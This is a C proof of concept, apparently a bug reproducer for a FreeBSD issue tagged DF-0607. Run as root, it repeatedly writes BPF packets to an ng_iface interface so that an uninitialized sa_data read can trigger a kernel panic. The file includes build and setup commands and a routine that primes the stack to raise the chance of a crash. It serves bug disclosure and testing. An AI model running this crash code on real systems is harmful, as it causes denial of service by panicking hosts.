DF-0607 / df-bpf-panic.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | /* * DF-0607 — BPF write to ng_iface reads uninitialized sa_data -> KASSERT panic * * For DLT_NULL (ng_iface's link type), bpf_movein() sets sa_family=AF_UNSPEC * and hlen=0, so the sa_data field of the stack-local `struct sockaddr dst` * in bpfwrite() is never initialized. ng_iface_output() then bcopy()s 4 bytes * of that garbage into `af` and sets dst->sa_family = (uint8_t)af. When the * low byte is 0, sa_family stays AF_UNSPEC and ng_iface_bpftap()'s * KASSERT(family != AF_UNSPEC) fires -> kernel panic (INVARIANTS on by default). * * Build: cc -o df-bpf-panic df-bpf-panic.c * Setup: kldload ng_iface; ngctl mkpeer iface dummy inet # creates ng0 * Run: ./df-bpf-panic ng0 * * Requires root (BPF write access: /dev/bpf* are crw------- root wheel). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/bpf.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* * Dirty the kernel stack with a known pattern before each write. * The bpfwrite() stack frame reuses whatever residue previous syscalls left. * By calling a deep call chain that writes zeros near the end of the stack, * we maximize the probability that the low byte of dst.sa_data is 0. */ static void __attribute__((noinline)) dirty_stack_zero(int depth) { volatile char buf[256]; memset((void *)buf, 0, sizeof(buf)); /* force the compiler to keep the buffer */ asm volatile("" :: "r"(buf) : "memory"); if (depth > 0) dirty_stack_zero(depth - 1); } int main(int argc, char **argv) { const char *ifname = (argc > 1) ? argv[1] : "ng0"; int fd, n, errcount = 0, okcount = 0; u_int blen = 32768; struct ifreq ifr; fd = open("/dev/bpf", O_RDWR); if (fd < 0) { perror("open /dev/bpf"); fprintf(stderr, "NOTE: BPF requires root. Run as root.\n"); return 1; } if (ioctl(fd, BIOCSBLEN, &blen) < 0) { perror("BIOCSBLEN"); close(fd); return 1; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name) - 1); if (ioctl(fd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); fprintf(stderr, "Is %s up? Try: kldload ng_iface; ngctl mkpeer iface dummy inet\n", ifname); close(fd); return 1; } n = 1; if (ioctl(fd, BIOCIMMEDIATE, &n) < 0) perror("BIOCIMMEDIATE (non-fatal)"); printf("DF-0607: bound to %s, writing DLT_NULL packets in tight loop...\n", ifname); printf("Expect: kernel panic (KASSERT in ng_iface_bpftap) if stack garbage low byte == 0\n"); fflush(stdout); /* * DLT_NULL packet: 4 bytes AF + payload. * We send AF_INET (2) so that if the bug were FIXED (AF read from mbuf), * the write would succeed (packet forwarded to inet hook). * With the BUG (AF read from uninitialized sa_data), the write usually * fails with EAFNOSUPPORT or panics. */ unsigned char pkt[8]; memset(pkt, 0, sizeof(pkt)); pkt[0] = AF_INET; /* AF_INET = 2, little-endian 4-byte word */ int i; for (i = 0; i < 200000; i++) { /* dirty the stack with zeros to maximize chance of low-byte-0 panic */ dirty_stack_zero(3); ssize_t w = write(fd, pkt, sizeof(pkt)); if (w < 0) { if (errno == EAFNOSUPPORT || errno == EOPNOTSUPP || errno == ENETDOWN || errno == EINVAL) errcount++; else errcount++; } else { okcount++; } if (i % 50000 == 0) { printf(" iter %d: ok=%d err=%d (last errno=%d:%s)\n", i, okcount, errcount, errno, strerror(errno)); fflush(stdout); } } printf("DONE: ok=%d err=%d out of %d writes\n", okcount, errcount, i); printf("If the kernel is still alive, the panic didn't fire (stack garbage\n"); printf("low byte was non-zero for all iterations). Check errcount for\n"); printf("EAFNOSUPPORT-like errors (evidence of uninitialized sa_data read).\n"); close(fd); return 0; } |